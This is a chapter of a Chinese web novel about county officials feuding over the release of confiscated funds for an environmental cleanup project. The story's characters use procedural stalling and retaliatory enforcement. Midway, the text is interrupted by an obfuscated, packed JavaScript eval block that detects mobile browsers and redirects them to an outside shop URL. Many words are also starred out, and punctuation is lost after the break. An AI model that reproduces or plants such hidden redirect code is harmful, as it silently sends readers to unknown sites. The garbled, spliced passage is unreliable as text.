第180章 硬碰硬是下策,要用软刀子
作品:《权力巅峰:从拒绝省厅千金开始》 清河县委大院,东配楼三层。
这里是县财政局的办公地。走廊里弥漫着一股混合了劣质烟草、陈旧纸张和某种难以名状的官僚气息。
作为掌握着全县钱袋子的实权部门,这里的干部们即使在这个特殊的时期,依然保持着一种特有的优越感。
那些半开半掩的门缝里,偶尔传出几声压抑的笑声和茶杯碰撞的清脆声响,仿佛外界的喧嚣与他们无关。
林晓雅站在局长办公室门口,抬起手看了一眼手表。十点十五分。她已经在这里干站了整整四十五分钟。
“林**,王局长还在跟银行的同志谈一笔很重要的贷款,您看这……”
那个年轻的男秘书第三次从办公室里走出来,手里端着一杯已经凉透的茶水,脸上的笑容虽然恭敬,但眼神里却透着一丝不易察觉的敷衍和轻慢。
林晓雅是个聪明人,怎么会看不出这其中的猫腻?
所谓的银行同志,根本就是个幌子。
刚才她分明听见办公室里传出一阵极其放松的笑声。
显然,王得志是在故意晾着她。这是一场下马威,或者是侯亮反击的第一枪。
真是好家伙!他一个局长,敢让**在外面等他这么久。
可林晓雅现在也不好发作或借题发挥,否则就会被大作文章。
候亮那边巴不得她发火或训人呢!所以,她再憋屈也得先忍着。
“没事,我再等等。”
林晓雅深吸了一口气,强行压下心头的怒火。
她今天来,是为了钱,为了那笔救命的钱。
新城毒地治理项目已经启动,李国强教授的团队和那几十台大型设备每天都在烧钱,如果资金链断了,那不仅仅是项目停摆的问题,更是齐学斌立下的那张军令状能不能兑现的问题。
又过了二十分钟,办公室的门终于开了。
一个大腹便便的中年人走了出来,根本不是什么银行行长,而是之前被齐学斌在新城工地上训斥过的一个包工头。
“哎呀,林**!您看这事闹的,真是不好意思!刚才谈得太投入了,没注意时间!”
王得志从办公室里迎了出来,满脸堆笑,那副加厚的金丝眼镜随着他夸张的动作一晃一晃,“快请进!快
请进!小刘,怎么搞的?给林**泡茶!要那罐最好的明前龙井!
林晓雅冷冷地看了他一眼,没有揭穿他的谎言,只是语气生硬地说道:“不用了王局长,我赶时间,咱们直接谈正事。
走进办公室,一股浓烈的烟味扑面而来。
王得志一屁股坐在那张宽大的真皮老板椅上,指了指对面的沙发,摆出一副公事公办的架势:“林**,您亲自过来,肯定是为了那笔款子的事吧?
“既然王局长知道,那我也就不绕弯子了。
林晓雅从公文包里拿出那份文件,重重地拍在办公桌上,“这里有省委沙**的批示你也看到了,特事特办。**那边关于查扣黑皮、赵大伟等人涉案财物的判决也下来了,拍卖款三千四百万,已经到了你们财政专户上。新城那边急需第一笔启动资金两千万,手续我都办齐了,麻烦王局长签个字,让下面放款。
王得志拿起文件,装模作样地翻了翻。
“林**啊,您的心情我理解。新城毒地治理是大事,沙**的指示也是最高指令。
王得志推了推眼镜,脸上的笑容渐渐收敛,换上了一副为难的表情,“但是,您也是老领导了,应该知道咱们国家的财经纪律。那是高压线,谁碰谁死啊。
“什么意思?
“收支两条线。
王得志用手指轻轻敲击着桌面,发出那种令人烦躁的笃笃声,“按照《行政单位财务规则》和《罚没收入管理办法》,公检法机关的所有罚没收入,必须先全额上缴国库,纳入预算管理。也就是说,这笔钱只要进了我们财政局的账,那它就是国家的钱了,不是**局的,也不是新城的。
“我知道。
林晓雅反驳道,“但沙**的批示里明确说了,可以将这笔资金定向用于修复受损的生态环境。这叫‘取之于民,用之于民’,并不违反原则。
“批示是批示,法规是法规。
王得志叹了口气,一副我也很无奈的样子,“沙**是管方向的,他老人家不可能具体去管每一笔钱怎么走账吧?要是我们直接把这钱划给新城管委会,那就是‘坐收坐支’,是‘私设小金库’!这要是审计局查下来,这黑锅谁背?您背?还是齐副县长背
?
这一顶顶大帽子扣下来,确实很有分量。林晓雅虽然分管政法,但对财政这块并不是特别精通,顿时有些语塞。
“那按你的意思,这钱就拿不出来了?林晓雅的声音沉了下来。
“能拿,当然能拿。
王得志笑眯眯地说道,“走正规流程嘛。您让新城管委会做一个详细的预算申请报告,报到县政府,然后上常务会讨论,列入年度预算调整方案,再报**审批……只要这一套流程走完了,我这边立马签字,绝不含糊!
常务会?**审批?
林晓雅感觉一股怒气直冲天灵盖。这一套流程走下来,最快也得半年!到时候黄花菜都凉了!
“王得志,你这是在故意卡脖子!
林晓雅终于忍不住了,猛地站起身,指着他的鼻子,“这是救命钱!是**任务!你拿这些条条框框来搪塞我,耽误了大事,你负得起这个责吗?
“林**,您这就冤枉我了。
王得志也收起了笑容,脸上露出一丝阴狠,“我这是在按章办事。再说了,县里现在财政这么紧张,教师工资都快发不出来了,这笔意外之财,是不是应该先保民生?新城那块地荒了那么多年,也不差这一时半会吧?
林晓雅看着这张无赖的嘴脸,气得手都在抖。
她看明白了。王得志根本就不怕耽误事。
这就是个局。侯亮设下的局。
……
同一时间。县政府大楼,常务副县长办公室。
侯亮正站在落地窗前,俯瞰着楼下的车水马龙。他手里端着一杯红酒,脸上挂着那标志性的微笑。桌上的电话响了。
“喂,侯县长。刚走。气得够呛,我看脸都绿了,摔门出去的。
电话那头传来王得志邀功般的声音,“放心,理由我给得足足的。‘收支两条线’,这是尚方宝剑,谁也挑不出理来。
“做得好。
侯亮轻轻晃动着酒杯,“得志啊,你要记住。对付像齐学斌这种拿鸡毛当令箭、想靠着一点上层关系就翻天的人,硬碰硬是下策。要用软刀子。
“什么叫软刀子?
“就是规则,就是程序,就是流程。
侯亮的声音变得有些阴
柔“他不是想当好官吗?不是想**治吗?那我们就陪他好好讲讲。每一个公章每一道审批每一个签字都是一道坎。我要让他明白在这个体制内想要做成一件事光有一腔热血是没用的。没有我们这些人的配合他寸步难行。”
“高!实在是高!”
“接下来你就拖。”侯亮眼神变得锐利“不管他打什么报告你都给我压着。挑毛病找错别字让新城那边断奶、断粮。等到李国强那个老头子受不了走人了等到工地上发不出工资工人**了那这块地自然就成了烂尾工程。到时候哼哼……”
挂断电话侯亮整理了一下衣领。齐学斌你虽然拿着尚方宝剑但我手里有无数张盾牌。我看你怎么破。
……
中午**局食堂的小包间里。
“太欺负人了!简直是明目张胆地耍流氓!”
林晓雅把筷子重重地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192769|196253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拍在桌上“那个王得志平时见了我点头哈腰的今天那副嘴脸真想抽他两个大嘴巴!什么收支两条线全是**借口!”
齐学斌坐在对面
“林**别生气。气坏了身子正好遂了他们的意。”
林晓雅喝了口水:“学斌他这就是摆明了要拖死我们。真走常规流程侯亮肯定在**会上阻挠。到时候给咱们留个三瓜两枣还不够塞牙缝的。”
“而且现在的连锁反应已经出来了。”
老张叹了口气拿出出勤记录“局里的兄弟们情绪也不高。雷霆行动的加班费和奖金也因为财政局卡着发不下来。大家嘴上不说心里都有怨言。再这么下去队伍不好带啊。”
“这就是阳谋。”
齐学斌把玩着手里的打火机“侯亮这一手比之前的黑皮**要高明得多。他是用整个体制的惯性在压我们。一旦我们也陷入到这种程序空转中那我们就输了。”
“那怎么办?求他?”林晓雅咬着嘴唇。
“求他如果有用刘克清也就不会把清河搞成现在这个样子了。对付这种人只有一个办法:让他制定的规则失效。”
“失效?”
齐学斌走到墙上的行政区划图前手指在县**局和新城之间划了一
条线最后停在了县**。
“晓雅姐你刚才说王得志的尚方宝剑是‘收支两条线’对吧?但有个前提那就是这笔钱是‘罚没收入’。但如果这笔钱不是罚没收入而是‘民事赔偿金’呢?”
“民事赔偿?”林晓雅是个政法通脑子转得飞快。
“赵大伟和黑皮虽然是刑事犯罪但他们的行为对新城的生态环境造成了不可逆的损害。根据《侵权责任法》和最新的环保司法解释作为受害者代表的新城管委会有权向他们提起附带民事诉讼要求赔偿生态修复费用。”
齐学斌的声音条理分明“而**判决的民事赔偿金是直接执行给受害人——也就是新城管委会的。这笔钱走的一般是**执行局的执行款专户然后再直接划拨给申请执行人。它根本不需要进财政局的笼子!更不需要走什么狗屁的预算审批!这就是一条天然的绿色通道!”
“我的天……”
林晓雅张大了嘴巴。这种操作
“这就是‘司法直通车’。”
齐学斌笑了“王得志不是喜欢**吗?那我们就让法官来跟他讲。**的执行裁定书效力可比他财政局的**高多了。我看他到时候怎么拦!”
“绝了!真是绝了!”老张兴奋得一拍大腿“这一招釜底抽薪侯亮估计做梦都想不到!”
“而且……”
齐学斌的眼神微微眯起透出一丝危险的寒光“既然王得志这么喜欢跟我们玩程序那我们也得回敬他一份大礼。来而不往非礼也。”
“你想动王得志?”林晓雅敏锐地捕捉到了杀气。
“他今天能卡我们的脖子明天就能断我们的粮道。这种人留着不仅是祸害更是一个必须拔掉的钉子。”
齐学斌走到窗前看着窗外阴沉的天空“老张。交警队那边最近是不是很久没搞集中夜查了?”
老张一愣随即恍然大悟:“明白了!局长您放心今晚我就安排!全县范围重点路段一个都跑不了!”
“记住要‘严格执法’‘一视同仁’。”
齐学斌特意加重了那八个字的语气前世在官场摸爬滚打这么久这些手段和方法齐学斌还是有的远比林晓雅这个“混”上来的县委**厉害得多。
“明白!”
看着两人相视一笑林晓雅只觉得后背一阵发凉同时又有一种说不出的畅快。她知道有人要倒的大霉了。
侯亮以为他锁住了齐学斌殊不知齐学斌已经在他引以为傲的锁上悄悄开了一扇后门并且准备把那个看门狗连人带骨头一起吞下去。
这场关于程序与规则的博弈才刚刚拉开序幕。

